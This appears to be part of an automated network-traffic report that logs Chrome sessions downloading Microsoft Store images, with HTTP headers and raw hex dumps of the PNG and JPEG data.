73 26 9c 47 cd b8 71 1d 98 d4 6c 75 60 62 5f d4 28 db 3a b4 18 2b 9b 1c a1 4c b1 08 99 76 41 6f 79 01 f9 5b 40 86 a0 89 
51 5e 19 4d 75 d9 89 4c 28 ad 50 cc fb c1 67 1c a8 8d 49 96 95 aa dc 81 72 d6 ad 8f 3f b5 f8 50 4c ac 94 ea cb 5c 66 ec 
8d d6 5a ba 64 eb 00 55 9c a1 f3 6e 6a 1b 0c 6c 48 67 68 d8 62 bc 29 d9 de 33 ea 99 e3 cf 32 6b 5c 3d bb 07 94 10 3f 6f 
2e 61 64 3d d1 48 1a 92 71 70 96 75 a6 36 77 16 74 d9 d2 9b cf 
Data Ascii: ./,rxJPII.L#cO; Z#9"n97rc,\+n,r;epJ>2XgEOCS<lJ_wCQ\s&Gqlu`b_(:+LvAoy[@Q^MuL(PgIr?PL\fZdU
njlHghb)32k\=?o.ad=Hqpu6wt

Session ID Source IP Source Port Destination IP
Destination
Port

Process

87 192.168.2.5 49834 23.211.6.115 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-07-01 09:00:59 UTC 1483 OUT GET /image/apps.62687.13510798885854323.6a8c11ad-84e9-4247-9ba9-ab3742bdbb87.e61dfadd-3bdd-4f66-beb1-
6bb763b60b02?format=source HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.
140 Safari/537.36 Edge/17.17134
Host: store-images.s-microsoft.com
Connection: Keep-Alive
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2022-07-01 09:00:59 UTC 1483 IN HTTP/1.1 200 OK
Cache-Control: public, max-age=7776000, s-maxage=7776000
Content-Length: 142254
Content-Type: image/png
Last-Modified: Mon, 10 Jun 2019 11:14:58 GMT
Accept-Ranges: none
ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4RDZFRDk0REZGNkE2RjM"
MS-CV: 3ZtNXbGcZUui37wn.0
Access-Control-Expose-Headers: MS-CV
Date: Fri, 01 Jul 2022 09:00:59 GMT
Connection: close
Access-Control-Allow-Origin: *

2022-07-01 09:00:59 UTC 1483 IN Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 0e 00 00 01 0e 08 02 00 00 00 f7 d3 6e f2 00 00 00 
09 70 48 59 73 00 00 2e 23 00 00 2e 23 01 78 a5 3f 76 00 00 0a 4f 69 43 43 50 50 68 6f 74 6f 73 68 6f 70 20 49 43 43 20 
70 72 6f 66 69 6c 65 00 00 78 da 9d 53 67 54 53 e9 16 3d f7 de f4 42 4b 88 80 94 4b 6f 52 15 08 20 52 42 8b 80 14 91 26 
2a 21 09 10 4a 88 21 a1 d9 15 51 c1 11 45 45 04 1b c8 a0 88 03 8e 8e 80 8c 15 51 2c 0c 8a 0a d8 07 e4 21 a2 8e 83 a3 
88 8a ca fb e1 7b a3 6b d6 bc f7 e6 cd fe b5 d7 3e e7 ac f3 9d b3 cf 07 c0 08 0c 96 48 33 51 35 80 0c a9 42 1e 11 e0 83 
c7 c4 c6 e1 e4 2e 40 81 0a 24 70 00 10 08 b3 64 21 73 fd 23 01 00 f8 7e 3c 3c 2b 22 c0 07 be 00 01 78 d3 0b 08 00 c0 4d 
9b c0 30 1c 87 ff 0f ea 42 99 5c 01 80 84 01 c0 74 91 38 4b 
Data Ascii: PNGIHDRnpHYs.#.#x?vOiCCPPhotoshop ICC profilexSgTS=BKKoR RB&*!J!QEEQ,!{k>H3Q5B.@$pd!s#~<
<+"xM0B\t8K

2022-07-01 09:00:59 UTC 1499 IN Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 
20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 
20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 
20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 
20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 
20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 
20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 
Data Ascii:                                                                                                                                                                         
                                                                                     

2022-07-01 09:00:59 UTC 1515 IN Data Raw: 98 24 56 a1 ef 59 0b 49 aa 90 61 10 04 0c a1 d3 e9 65 be 2f 70 a5 31 56 29 5d ad 55 84 14 48 44 d6 26 49 0a 
44 5c 0a d7 f1 2a 41 b8 b9 dd 22 ab 1d 29 3b dd de fc c2 5c 18 06 2f bd 74 5a 30 b4 d6 0a e9 70 c6 06 83 01 08 21 18 1d 
99 72 1b ae f4 99 f5 24 33 8c 47 16 99 22 96 25 87 c6 12 59 6e ed e1 49 ff f0 84 f7 3d 47 27 ae b5 a2 33 ab fd 97 56 3a 
67 d7 07 db fd f4 56 fa 07 13 7c 6a b2 2e 1d 71 fd c6 7a bf 1f 51 21 08 2f 39 73 90 75 06 f1 20 89 03 57 02 00 43 71 f1 ea 
cd 41 92 86 be cf 48 45 91 dd d8 6e f7 e3 78 b2 16 00 19 ce a0 d5 e9 6d b6 da 3f ff f0 ac 26 b3 36 80 25 6b d6 d7 d6 6f 
5c bf ae b5 56 2a dd da de 52 49 8a 88 83 c1 60 d0 ef 75 da 3b 4a 93 49 95 ef 88 9d 5e 6c 81 b4 d6 2a 55 9d 6e 27 8e e3 
7a bd a1 b5 01 20 5e 4c aa e4 5c 64 a3 2b a6 67 e6 24 
Data Ascii: $VYIae/p1V)]UHD&ID\*A");\/tZ0p!r$3G"%YnI=G'3V:gV|j.qzQ!/9su WCqAHEnxm?&6%ko\V*RI`u;JI^l*Un'z 
^L\d+g$

2022-07-01 09:00:59 UTC 1517 IN Data Raw: 8e 83 52 40 a1 e0 41 da 90 4a b2 99 79 2e c7 b9 5a c5 0f bc 14 78 5f 43 37 b6 8e 14 13 b5 60 69 61 52 2b bd 
b6 dd de d8 6c c5 51 5c af 85 d5 66 4d a7 09 43 ac d5 e5 f2 1e f6 e0 71 8c 12 bd d5 49 2e ac 75 6f 6c f7 8f cf f8 4d 5f de 
1c d8 b7 1c 99 ba b4 d1 bf d9 8e 57 37 77 00 e0 8e 99 f0 03 f7 ce 9d bc d9 3d 75 b3 e7 fb 3e 00 ad 6c b4 97 67 82 7f f9 
b7 1f 98 6c 04 17 b6 36 3b b1 8e 35 4a 97 6b ad 77 da dd 24 55 81 1f 0e a2 48 6b 25 a5 34 26 1b f5 a7 ad 25 6d 0c 2a 32 
84 46 53 92 c6 c6 e8 5e b7 e3 38 ae 10 b2 db ed 6a a5 8d b5 04 94 24 49 1c c7 b5 5a 6d d0 ef ed 3f 78 c4 97 a0 e3 b1 5a 
ca 6e 4a d2 6b 97 23 6f ff e2 ed 9a c0 4a 75 c9 dd a9 7c 99 50 b8 8b b0 3c a6 ea 82 63 9e 84 0d 9b c3 4a 61 5b 6e 1b 58 
2e 41 92 b1 79 ce 6d 33 78 97 03 23 60 36 37 ad dc 3c 
Data Ascii: R@AJy.Zx_C7`iaR+lQ\fMCqI.uolM_W7w=u>lgl6;5Jkw$UHk%4&%m*2FS^8j$IZm?xZnJk#oJu|P<cJa[nX.Aym
3x#`67<

2022-07-01 09:00:59 UTC 1533 IN Data Raw: fa 6a 27 e9 58 03 e7 34 b0 06 68 50 93 a6 20 56 51 65 6a 27 06 9c 3b ef 25 04 0a 30 36 61 96 a0 aa ea 00 9e 
32 b2 39 1e 88 6d 0b dc 2f 96 56 d6 9f b8 f0 fe 9b d7 83 68 c6 24 44 4c 7a 48 f4 6a 5a 00 45 00 02 69 0c eb 0a 22 26 b7 
d9 62 7b 36 0b e3 ad 71 c2 52 e4 96 1b 55 a4 2a 98 94 11 44 34 10 02 21 08 82 68 68 08 5e e2 29 6f 07 20 80 c2 9d ab 
1a 42 a8 cb de c9 b3 59 bb f3 d0 62 b1 75 c0 2f 6d d6 c6 70 33 5f 12 8d a9 15 7a 74 56 ee 0a 30 d2 43 2c e6 3c 83 49 61 
1b 33 17 0e 33 ce 1b 0d 9f 73 4e 45 c8 18 c3 cd 5e 86 99 54 e0 bd 87 c6 63 83 78 c6 d8 34 e8 96 10 fc 62 2b 6d a5 7c f7 
80 4b 71 97 fc 26 9e 18 55 0d a2 22 1a 82 b2 51 e2 08 61 26 51 41 88 9d dc dc d6 ab 77 6d 5f 0e 07 7f 74 c4 f2 92 79 5d 
1b 15 b8 12 48 05 9a 82 18 96 90 e4 e0 1c 1a a2 82 a5 99 77 
Data Ascii: j'X4hP VQej';%06a29m/Vh$DLzHjZEi"&b{6qRU*D4!hh^)o BYbu/mp3_ztV0C,<Ia33sNE^Tcx4b+m|Kq&U"Q
a&QAwm_ty]Hw

2022-07-01 09:00:59 UTC 1545 IN Data Raw: a1 6c d8 4e 43 b0 12 7e e8 de 64 b5 3d fa d6 2b 3c 9b 2d fe c0 0f 26 9f fc 5c 3d 1a b8 8d 5b 3c 18 e0 e6 0d 37 
1a 4e 27 b3 e9 d6 f6 74 6b bb 9c 56 0e b0 40 ef c4 6a ff c9 fb 57 7e e8 c3 8b 1f bd df f6 33 37 1c f8 dd 99 36 dd be 77 ae 
d2 e0 ab c1 c1 5b 2f bd fa b7 bf 76 e9 3b b7 6a 00 dd 5e 97 99 76 77 07 69 9a 1a c3 d3 89 e3 34 5b 6f 49 2f a5 a0 0c 8a 
b9 2d b1 dc 8b e0 22 d5 20 5a 4f 65 74 87 d9 2a 8b c6 38 21 6d f8 67 94 b4 61 ac fa 0a c4 1c 43 82 1b c3 0c 35 a6 f9 e0 
29 cd f4 e0 75 f8 09 ad 3c a5 9c 13 29 19 0b 4e e7 d9 52 02 b6 e0 04 50 b8 09 c2 0c d5 16 c4 c3 58 22 85 04 b0 c2 30 84 
41 99 06 07 32 c8 5a 08 53 f8 0a 9c 80 69 6b 73 44 ab 8f 64 eb 0f 13 82 c9 5f 0d ee 40 17 2e 6a fa dd 83 1b ef 4e b6 af 
b4 57 16 83 93 e9 e6 8d 9c 7d ab 53 90 77 60 03 28 
Data Ascii: lNC~d=+<-&\=[<7N'tkV@jW~376w[/v;j^vwi4[oI/-" ZOet*8!mgaC5)u<)NRPX"0A2ZSiksDd_@.jNW}Sw`(

2022-07-01 09:00:59 UTC 1561 IN Data Raw: 3b 0e 8f 1e a9 5d e6 ea e4 48 bd 8d 25 b0 b2 86 d6 13 16 e7 93 ca 91 72 a2 2a c2 41 3d 07 92 00 38 5f 33 85 
ea f6 e6 de 1b 57 b7 0c 82 05 48 54 99 e8 ce 20 78 6e 98 8e ed de 8b a5 31 10 30 6c 92 5f bc 7c 71 eb ca d5 a7 1e 7c 
68 61 fd d8 be c8 d6 5f 3d 7f e3 89 c7 6f fd 4f ff 34 fb cc 67 97 41 45 f0 5f d9 b8 7d 7a 34 ba 6b 75 b5 d3 e9 16 65 69 99 
1f 39 71 b2 0c fe b5 bd dd 62 c3 9f ad aa 63 c7 4f dc 7b ea d4 c5 da b9 e9 d4 95 05 03 db 1f fe ed d9 ab 6f 4c af 5c d9 77 
d2 3f 3c a8 8a e1 cd ba b0 a9 b1 eb 7d 3e b6 30 ea a4 b6 d3 3d 75 ef 7d 57 3f fc 1b bb 9f f9 e2 c3 9d de c2 d2 f2 8d dd dd 
ab c3 7d 01 d6 07 8b 67 d7 d6 8c b1 d7 76 77 77 86 a3 4e 9e 1d 5b 5a ea 67 39 a0 d7 c7 a3 57 f6 f7 72 a4 f7 f7 8f 3d f4 
2e dc ff c7 8b 13 0f 98 7c 65 01 59 0a 4a 21 16 81 
Data Ascii: ;]H%r*A=8_3WHT xn10l_|q|ha_=oO4gAE_}z4kuei9qbcO{oL\w?<}>0=u}W?}gvwwN[Zg9Wr=.|eYJ!

2022-07-01 09:00:59 UTC 1577 IN Data Raw: c8 a7 ef a2 b5 75 bc ff bd b8 fb 2e 3c f3 0c 5e 7e 05 93 a9 5a 83 4e 6e 96 96 fa c6 f4 7b fd ea f0 60 34 1c ed 
17 d3 51 39 1d bf 5a e9 9b 63 c9 3a 49 b2 db a1 3d 37 a2 24 4f 7c c7 8d ae 14 d5 e4 c0 be ef 09 4a fa ba 31 a4 de 59 77 
ed 16 16 57 55 ab b0 b7 0b e6 3c 31 36 48 f0 ea bc af 67 f5 6c 7b 72 f3 e5 bd e9 f1 ee e2 4a 96 80 4d d2 e9 2d f7 17 d7 
d0 5f 2e f3 94 6c 96 90 b1 06 6a a1 6c 18 56 89 63 de eb dc 0e 43 31 03 cf 15 75 31 2a cb 61 55 4e eb 50 07 b2 94 a4 26 
c9 ad 49 a8 31 35 73 14 4a 89 88 06 27 ae 0c ae f2 c1 2b a0 4c 88 78 32 af c1 8c b4 b3 81 72 8c 4b 86 6f b2 0d aa 95 a3 
b1 e3 a1 37 85 10 1c 6f af 57 d7 7b c1 78 74 e2 37 5b c1 0c 9b 21 ef a2 bf c8 44 5a cf 14 be 69 e2 89 40 06 24 77 24 a3 
09 1a fd aa c7 e2 31 54 33 20 a0 6f 31 30 aa 0a cb e8 
Data Ascii: u.<^~ZNn{`4Q9Zc:I=7$O|J1YwWU<16Hgl{rJM-_.ljlVcC1u1*aUNP&I15sJ'+Lx2rKo7oW{xt7[!DZi@$w$1T3 o10

Timestamp
kBytes
transferred

Direction Data
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2022-07-01 09:00:59 UTC 1585 IN Data Raw: 5d 6b 8c 9e 8a 64 09 3a 5a 78 0b 28 f6 21 42 f0 11 83 02 aa 99 5c 7b 9f 78 cf c1 93 eb 85 e9 43 e5 e8 81 c2 
ad 7a 04 f0 3e 4c 02 9b c2 da 36 43 a2 4d 3b 89 2a 2f c3 48 73 b6 26 a9 8b 50 cd 7c 5d 22 cd 23 f6 8e f3 2c 4b 73 52 68 
d6 47 da 83 02 b7 2e e2 e4 83 38 fb 08 6e bd 01 6b 91 e7 18 0c b0 d8 13 dd 28 ab 11 1b a3 27 68 30 b2 e5 4d 2e 53 c6 
e1 18 5b 07 38 b5 06 22 38 07 55 18 83 51 65 ea 3a b5 1c 88 d8 da ac 73 7b 7b 67 6f 7f 2f cb d3 b5 f5 35 c3 ac ce 0b 71 
8b dd 50 cf 54 c3 27 81 43 90 ab 37 6f dc 7b cf 85 2a f8 3a d4 31 72 8f 00 11 15 09 2a 2a 21 04 11 e7 3d 98 3b eb eb d3 
c9 58 43 b0 44 22 52 0f 47 0b 3e 24 5d 13 8e b4 08 1a a0 d1 5e e2 5c 3d 1e 8e cb a2 10 11 66 0e 21 7c cd 09 39 da d6 
1f 61 2f d4 18 d3 e9 74 38 ba d7 a0 5f 83 ef 23 6a 69 d2 4d cc 
Data Ascii: ]kd:Zx(!B\{xCz>L6CM;*/Hs&P|]"#,KsRhG.8nk('h0M.S[8"8UQe:s{{go/5qPT'C7o{*:1r**!=;XCD"RG>$]^\=f!|9a/t
8_#jiM

2022-07-01 09:00:59 UTC 1601 IN Data Raw: aa 42 29 5a 25 84 64 88 0d a8 51 51 63 a0 ac 6a 34 b1 24 ad 6a 82 da 13 8e 4f 44 04 61 86 44 d9 5f cc 6e 3c 
7e f0 c6 6b af ef ec 9e 5e df d9 8e 22 75 55 1d 3f d9 5b 4c a6 31 c4 2c cf 5c e6 ac cb 54 55 88 06 c3 a1 eb 95 fb 0f 1f 5d 
7f ed f5 f7 af 7f 28 4d f5 6b 9f 38 f3 57 be fc fc 97 3e 76 71 e7 d4 b6 19 0c 91 15 20 0b 90 08 a2 68 94 13 d7 3c 26 fb 8c 
ce 9e 56 74 fc 8e 34 99 58 2a 51 63 5c 51 8f 7d 17 1b 2d 31 c5 52 51 ca d7 65 43 9c 22 2e 53 2b 4d 87 d9 10 7d 1b 9a 
da d7 b5 b6 cd 8d 77 de 69 fb 67 2e bc f4 f9 d6 07 62 c7 36 66 85 18 83 dc db 98 3b 9f 67 45 66 cb e5 b2 74 a6 f7 f2 27 f7 
c7 6b b3 1b 6f 1e ce a7 69 93 e6 95 49 85 81 3a a7 86 89 1d 75 49 24 82 74 ef 44 66 94 35 b6 1e 42 41 74 7e b4 e0 3c 
03 f8 5c e1 fe ea cf 6f fd d4 a7 36 7f ef 3b 7b df 7c 
Data Ascii: B)Z%dQQcj4$jODaD_n<~k^"uU?[L1,\TU](Mk8W>vq h<&Vt4X*Qc\Q}-1RQeC".S+M}wig.b6f;gEft'koiI:uI
$tDf5BAt~<\o6;{|

2022-07-01 09:00:59 UTC 1609 IN Data Raw: 78 49 2f cd 20 31 36 12 42 f4 6d f0 41 62 d4 36 6a dd a2 0a 58 b6 a8 3c 9a 80 65 83 65 83 a0 d0 22 2f 2e 5e 
59 bb f4 b1 fe b9 e7 07 9b a7 47 83 7e 2f b7 f9 ea 47 96 e5 d6 39 63 1d b3 21 36 9d 5e 37 75 95 84 d7 a7 a3 44 ca 24 0d 
d1 7b ef db ce 6b 2e 86 28 01 59 56 9e 3d 7b fe dc b9 73 59 e6 44 7e 62 45 3e 59 94 55 35 c6 d8 b6 5e c4 bf f3 fe dd 3f 
fe f6 87 ce 59 66 0b 62 fb e8 e8 c0 b1 29 b2 2c 77 59 66 ac 61 8e 21 32 b5 de 18 ef 33 6b 9d b5 c6 59 97 7e 65 bb e0 77 
63 d9 58 63 c8 b0 0f de a4 77 85 08 11 c5 10 53 ab d0 14 51 4f 12 45 10 23 07 56 95 10 22 a9 5a e8 6a 45 39 f9 e2 82 84 
20 2b 13 47 e2 48 c4 5d 5a dc d3 84 17 7d 86 1a cd 38 09 43 25 26 63 d9 75 df ba 93 b8 b1 66 ce 03 63 5e fe c4 c7 de fe 
f1 5b 1f 7d 33 9c f9 ec 9f 11 ce 1e de bd dd b6 7e f7 fc 
Data Ascii: xI/ 16BmAb6jX<ee"/.^YG~/G9c!6^7uD${k.(YV={sYD~bE>YU5^?Yfb),wYfa!23kY~ewcXcwSQOE#V"ZjE9 +
GH]Z}8C%&cufc^[}3~

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

88 192.168.2.5 49836 23.211.6.115 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-07-01 09:00:59 UTC 1601 OUT GET /image/apps.7873.9007199266243449.90709ce3-050c-4cef-8d4a-9ef213b89ef2.7885dc21-4015-4284-a596-d
3d24cf6c1b8?format=source HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.
140 Safari/537.36 Edge/17.17134
Host: store-images.s-microsoft.com
Connection: Keep-Alive

2022-07-01 09:00:59 UTC 1623 IN HTTP/1.1 200 OK
Cache-Control: public, max-age=7776000, s-maxage=7776000
Content-Length: 4575
Content-Type: image/png
Last-Modified: Tue, 06 Oct 2020 07:51:50 GMT
Accept-Ranges: none
ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4RDg2OUNDQUY1N0U0QUI"
MS-CV: zZpfTR4fs0yHFO1I.0
Access-Control-Expose-Headers: MS-CV
Date: Fri, 01 Jul 2022 09:00:59 GMT
Connection: close
Access-Control-Allow-Origin: *

2022-07-01 09:00:59 UTC 1623 IN Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 2c 00 00 01 2c 08 03 00 00 00 4e a3 7e 47 00 00 
03 00 50 4c 54 45 00 1e 36 23 3d 52 b7 bf c6 2b b0 fe ab b5 bc 37 4f 61 bf c6 cc ff ff ff 2c b1 ff 1f 3a 4f 2b af fd 09 40 64 
00 1f 38 00 1f 37 00 21 3a 00 20 39 00 1e 37 00 22 3c 00 21 3b 01 23 3d 01 24 3f 20 8f d2 2b ae fc 0e 54 82 10 58 87 22 
97 dc 1a 77 b1 01 28 44 01 24 3e 02 28 45 00 21 3b 29 ab f7 21 92 d6 09 42 68 10 59 88 02 2a 47 00 20 3a 0c 4b 75 04 
2f 4e 14 65 98 20 91 d4 fe fe fe 29 ad fa 03 2b 49 01 27 43 21 93 d8 08 3e 62 2a af fc 0b 4a 73 1e 87 c7 26 a3 ed 0d 4d 
77 06 36 58 01 23 3e 1d 84 c3 01 25 40 0b 49 71 1e 89 c9 07 38 5b 21 94 d8 1b 80 be 1b 7f bc 08 3f 64 2a ae fb 28 a8 f3 
22 96 da 03 2d 4b 07 3a 5d 0f 56 83 02 25 40 24 9c e3 0d 
Data Ascii: PNGIHDR,,N~GPLTE6#=R+7Oa,:O+@d87!: 97"<!;#=$? +TX"w(D$>(E!;)!BhY*G :Ku/Ne )+I'C!>b*Js&Mw
6X#>%@Iq8[!?d*("-K:]V%@$

Session ID Source IP Source Port Destination IP
Destination
Port

Process

89 192.168.2.5 49837 23.211.6.115 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data
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2022-07-01 09:00:59 UTC 1628 OUT GET /image/apps.8341.13510798886747090.a0953092-5fc3-46f0-aefa-796cb3a9b90b.fc0c6be7-c064-44dc-a7df-
81e7097e3c93?format=source HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.
140 Safari/537.36 Edge/17.17134
Host: store-images.s-microsoft.com
Connection: Keep-Alive

2022-07-01 09:00:59 UTC 1628 IN HTTP/1.1 200 OK
Cache-Control: public, max-age=7776000, s-maxage=7776000
Content-Length: 134215
Content-Type: image/jpeg
Last-Modified: Mon, 09 Aug 2021 18:24:58 GMT
Accept-Ranges: none
ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4RDk1QjYyRkVDQ0U2RjU"
MS-CV: SxgH/nslsk+u9Yr4.0
Access-Control-Expose-Headers: MS-CV
Date: Fri, 01 Jul 2022 09:00:59 GMT
Connection: close
Access-Control-Allow-Origin: *

2022-07-01 09:00:59 UTC 1628 IN Data Raw: ff d8 ff e1 00 18 45 78 69 66 00 00 49 49 2a 00 08 00 00 00 00 00 00 00 00 00 00 00 ff ec 00 11 44 75 63 6b 
79 00 01 00 04 00 00 00 64 00 00 ff e1 03 8e 68 74 74 70 3a 2f 2f 6e 73 2e 61 64 6f 62 65 2e 63 6f 6d 2f 78 61 70 2f 31 
2e 30 2f 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 
48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 
64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 36 
2e 30 2d 63 30 30 36 20 37 39 2e 64 61 62 61 63 62 62 2c 20 32 30 32 31 2f 30 34 2f 31 34 2d 30 30 3a 33 39 3a 34 34 
20 20 20 20 20 20 20 20 22 3e 20 3c 72 64 66 3a 52 44 46 20 78 
Data Ascii: ExifII*Duckydhttp://ns.adobe.com/xap/1.0/<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmp
meta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 6.0-c006 79.dabacbb, 2021/04/14-00:39:44        "> <rdf:RDF 
x

2022-07-01 09:00:59 UTC 1644 IN Data Raw: 9a dd ba 89 09 fa 89 ae 0a 5e e7 da b5 e7 13 b1 dd 61 24 03 6e 23 c8 7d e4 05 48 3e 59 0c aa 0f 53 8a f0 77 
89 2e 74 56 42 82 c1 4a f6 a2 88 41 8c 7b 96 43 c7 dd 1a 2a ef dc 8f 21 35 44 55 f4 f8 7c 74 5e a4 ed b7 98 6d dc cf 21 
30 eb 2c 09 3f 64 1a 1f 0e 80 78 75 c0 16 0e 5c bb 9e ef 6d 1e d3 66 91 ee 3f 2e 90 b2 aa d7 ba cb ad 07 da a8 66 6a 80 
4f a7 a6 46 86 98 e4 2b 0a e1 95 97 3e ce 34 82 88 8a 93 e1 8c e5 02 46 61 51 40 39 83 63 d5 5a 7e d3 95 1a f6 a6 bb 
b5 fe 5d 35 eb 27 b6 ba 64 36 3a d9 50 8f 43 10 0e a2 33 2a 7c ab d4 1f 0f 3a e3 ee d5 be 6c 50 5c 27 2a f9 58 27 b9 8d 
c8 b8 81 64 78 fb 4a ff 00 86 b3 a8 24 89 34 12 16 45 15 d5 5f b0 16 b8 19 7f 72 4e 56 c9 b8 8f c0 2f 2a f9 13 01 98 ca 8b 
90 f1 06 47 51 8f db 45 8c c6 9e a2 5e 52 e8 b8 92 5c 47 
Data Ascii: ^a$n#}H>YSw.tVBJA{C*!5DU|t^m!0,?dxu\mf?.fjOF+>4FaQ@9cZ~]5'd6:PC3*|:lP\'*X'dxJ$4E_rNV/*GQE^R\G

2022-07-01 09:00:59 UTC 1660 IN Data Raw: 46 62 8e a5 87 83 0a e4 71 73 72 6e 2f 93 f9 1d c4 38 7e 25 89 16 b6 06 2b 92 96 92 eb 2e b9 b8 91 20 60 b1 
a8 a7 50 da 41 a9 87 1a 0b 5d 61 2f de df c7 8e 49 2a d7 c7 44 64 77 0f b8 8a f5 d2 49 74 9b 86 ff 00 b3 db 5b ed 22 31 
6c f4 76 77 3e 9a 2e 6a 02 8a b3 7a e8 4d 28 3d 34 d5 9e 23 bb 59 d8 78 17 2c bf ba e4 c6 79 2f 60 2d 14 50 c0 06 b0 64 
3a 64 2c ec 42 46 3b 25 91 6b ac d2 4d 5a 0e 91 5a 7e 77 8f 9c 39 cb b8 f6 6f e3 6e 6d cb 66 ce 71 89 14 f1 b1 8e 41 c2 
38 e3 23 3f 1e 8a 05 44 63 42 95 63 88 dd 4a c2 24 32 da aa 25 ab 22 b4 53 62 fd c9 92 0f 0d 48 02 b5 02 f7 b5 d1 8f f4 
f6 d5 b9 cf 3e cd b8 6e 8f 75 31 42 93 24 2c b1 84 06 9a 90 e9 57 a5 72 d4 a5 8b 10 28 40 15 c3 ff 00 35 dc f7 5d cf 8c 
47 ba 27 1d 93 6b d9 ee 9b f0 66 97 b9 24 93 29 a8 56 8a 
Data Ascii: Fbqsrn/8~%+. `PA]a/I*DdwIt["1lvw>.jzM(=4#Yx,y/`-Pd:d,BF;%kMZZ~w9onmfqA8#?DcBcJ$2%"SbH>nu
1B$,Wr(@5]G'kf$)V

2022-07-01 09:00:59 UTC 1662 IN Data Raw: 34 db 72 ed af 92 f1 48 27 e1 5b 84 97 5b 65 c2 b6 bb 95 8d a3 46 21 99 4a 40 b2 28 93 b4 48 3a e5 21 4c c4 
7a 40 8c 51 ae ee 3e e0 1e 31 e5 ea 8a 0c c3 c3 4b 7b cf 1b 7c c1 c4 e1 4a b1 c7 21 e1 d7 97 75 b5 39 f5 9d 5b 1f 2d d8 
e5 bd 6f 76 44 6a c9 57 6c 1a 8a 1c 88 ea 5a e2 38 8c 04 f8 aa 12 29 07 1a da bd d2 96 c2 e5 b8 67 be fb 76 df c9 fd a3 
9d d6 33 3c d0 5b ad cd 92 9f 48 92 29 a2 58 e4 73 17 da 91 25 a4 c4 2b 3c 13 17 01 18 79 7d b6 df 40 ca 86 4d 45 cd 3c 
4a ea f0 d4 1a a0 03 d2 a3 a5 6b d2 b8 4d bc 95 9a e4 dc 9b c9 79 87 20 e6 95 b5 b5 59 96 4b 75 26 7e 59 0e 9a 94 18 
f4 2f d4 a8 c6 44 ba 92 b4 51 91 22 55 4d 9b 63 1c 87 94 10 b5 82 6c a7 91 58 c6 22 a3 53 a9 bc 13 8c 6d 9c 43 8c 58 71 
bd 92 79 ee 36 5b 3b 70 96 f2 4d 2f 7a 43 09 25 a2 06 52 2b 
Data Ascii: 4rH'[[eF!J@(H:!Lz@Q>1K{|J!u9[-ovDjWlZ8)gv3<[H)Xs%+<y}@ME<JkMy YKu&~Y/DQ"UMclX"SmCXqy6[;p
M/zC%R+

2022-07-01 09:00:59 UTC 1678 IN Data Raw: 59 e3 a1 0e 1a 53 3c 1c d6 e0 47 b2 6f 05 ac f6 ab 68 26 79 65 af a9 63 94 47 e9 04 31 21 a8 07 a9 4a c8 75 
08 43 02 f9 09 6c c2 30 0f 2c 6d f3 d9 79 6e 01 86 e3 bc 79 81 d3 43 e3 da 39 99 72 64 d6 b6 3c 33 c5 21 b8 b0 b3 3d 2d 
21 eb e4 d7 46 b4 e4 6c b2 da d1 f3 ec ac 11 4b 26 de fa c1 50 62 70 10 6d 11 3e c7 d8 be 43 ed ff 00 20 83 60 bb dc 77 
18 f6 db 70 d7 7b 9e e1 2e 84 f9 fb a6 20 4d 72 63 61 24 9d 99 65 fc 0b 4b 78 c2 9e ca 47 1a fa 8c 8e 16 26 e8 bb 2d 8c 
4f b6 06 4b 76 70 20 b6 8f b6 1a 66 54 00 77 48 14 04 22 eb 9e 46 1a 63 8e 8a 08 01 14 dc d4 18 6c 85 8a 0e 21 f1 6b 8e 
